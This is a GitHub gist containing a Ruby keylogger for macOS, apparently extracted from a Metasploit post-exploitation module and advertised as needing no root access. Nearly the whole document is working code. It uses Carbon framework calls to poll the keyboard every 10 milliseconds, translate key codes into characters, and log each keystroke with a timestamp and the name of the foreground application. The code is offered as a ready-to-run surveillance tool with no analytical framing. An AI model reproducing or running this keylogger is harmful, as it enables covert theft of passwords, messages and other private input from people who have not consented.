Skip to content

Instantly share code, notes, and snippets.

@localhostdotdev
Last active February 25, 2019 15:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save localhostdotdev/67caf25e3242fcc40cc612e4c1f67d2c to your computer and use it in GitHub Desktop.
Save localhostdotdev/67caf25e3242fcc40cc612e4c1f67d2c to your computer and use it in GitHub Desktop.
Ruby macOS/OXS keylogger. Doesn't require root, just to be ran as a normal user. Extracted from metasploit. https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/capture/keylog_recorder.rb
require 'thread'
require 'fiddle'
require 'fiddle/import'
SM_KCHR_CACHE = 38
SM_CURRENT_SCRIPT = -2
MAX_APP_NAME = 80
module Carbon
extend Fiddle::Importer
dlload '/System/Library/Frameworks/Carbon.framework/Carbon'
extern 'unsigned long CopyProcessName(const ProcessSerialNumber *, void *)'
extern 'void GetFrontProcess(ProcessSerialNumber *)'
extern 'void GetKeys(void *)'
extern 'unsigned char *GetScriptVariable(int, int)'
extern 'unsigned char KeyTranslate(void *, int, void *)'
extern 'unsigned char CFStringGetCString(void *, void *, int, int)'
extern 'int CFStringGetLength(void *)'
end
psn = Fiddle::Pointer.malloc(16)
name = Fiddle::Pointer.malloc(16)
name_cstr = Fiddle::Pointer.malloc(MAX_APP_NAME)
keymap = Fiddle::Pointer.malloc(16)
state = Fiddle::Pointer.malloc(8)
itv_start = Time.now.to_i
prev_down = Hash.new(false)
lastWindow = ""
loop do
Carbon.GetFrontProcess(psn.ref)
Carbon.CopyProcessName(psn.ref, name.ref)
Carbon.GetKeys(keymap)
str_len = Carbon.CFStringGetLength(name)
copied = Carbon.CFStringGetCString(name, name_cstr, MAX_APP_NAME, 0x08000100) > 0
app_name = if copied then name_cstr.to_s else 'Unknown' end
bytes = keymap.to_str
cap_flag = false
ascii = 0
ctrlchar = ""
(0...128).each do |k|
if ((bytes[k >> 3].ord >> (k & 7)) & 1 > 0)
if not prev_down[k]
case k
when 36
ctrlchar = "[enter]"
when 48
ctrlchar = "[tab]"
when 49
ctrlchar = " "
when 51
ctrlchar = "[delete]"
when 53
ctrlchar = "[esc]"
when 55
ctrlchar = "[cmd]"
when 56
ctrlchar = "[shift]"
when 57
ctrlchar = "[caps]"
when 58
ctrlchar = "[option]"
when 59
ctrlchar = "[ctrl]"
when 63
ctrlchar = "[fn]"
else
ctrlchar = ""
end
if ctrlchar == "" and ascii == 0
kchr = Carbon.GetScriptVariable(SM_KCHR_CACHE, SM_CURRENT_SCRIPT)
curr_ascii = Carbon.KeyTranslate(kchr, k, state)
curr_ascii = curr_ascii >> 16 if curr_ascii < 1
prev_down[k] = true
if curr_ascii == 0
cap_flag = true
else
ascii = curr_ascii
end
elsif ctrlchar != ""
prev_down[k] = true
end
end
else
prev_down[k] = false
end
end
if ascii != 0 or ctrlchar != ""
if app_name != lastWindow
puts "[#{Time.now.to_i}] [#{app_name}]\n"
lastWindow = app_name
end
if ctrlchar != ""
puts "[#{Time.now.to_i}] [#{app_name}] #{ctrlchar}\n"
elsif ascii > 32 and ascii < 127
c = if cap_flag then ascii.chr.upcase else ascii.chr end
puts "[#{Time.now.to_i}] [#{app_name}] #{c}\n"
else
puts "[#{Time.now.to_i}] [#{app_name}] [#{ascii}]\n"
end
end
Kernel.sleep(0.01)
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment